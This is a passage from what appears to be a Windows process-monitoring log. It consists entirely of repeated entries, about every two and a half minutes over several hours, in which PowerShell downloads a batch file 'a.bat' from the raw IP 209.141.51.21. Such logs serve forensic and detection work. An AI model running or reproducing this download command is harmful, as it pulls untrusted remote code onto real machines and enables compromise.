'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:48:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:50:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:53:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:55:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:58:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:00:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:03:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:05:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:08:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:10:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:13:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:15:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:18:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:20:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:23:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:25:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:28:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:30:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:33:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:35:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:38:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:40:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:43:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:45:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:48:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:50:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:53:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:55:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 11:58:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:00:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:03:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:05:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:08:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:10:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:13:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:15:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:18:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:20:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:23:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:25:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:28:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:30:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:33:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:35:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:38:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:41:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:43:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:46:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:48:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:51:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:53:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:56:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 12:58:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:01:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:03:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:06:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:08:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:11:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:13:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:16:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:18:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:21:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:23:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:26:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:28:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:31:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:33:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:36:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:38:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:41:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:43:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:46:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:48:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:51:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:53:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:56:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 13:58:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:01:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:03:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:06:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:08:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:11:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:13:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:16:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:18:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:21:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:23:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:26:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:28:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:31:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:33:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:36:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:38:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:41:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:43:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:46:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:48:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:51:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:53:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:56:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 14:58:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:01:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:03:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:06:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:08:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:11:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:13:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:16:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:18:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:21:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:23:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:26:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:28:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:31:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:33:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:36:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:38:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:41:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:43:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:46:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:48:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:51:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:53:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:56:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 15:58:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:01:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:03:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:06:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:08:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:11:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:13:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:16:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:18:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:21:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 16:23:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 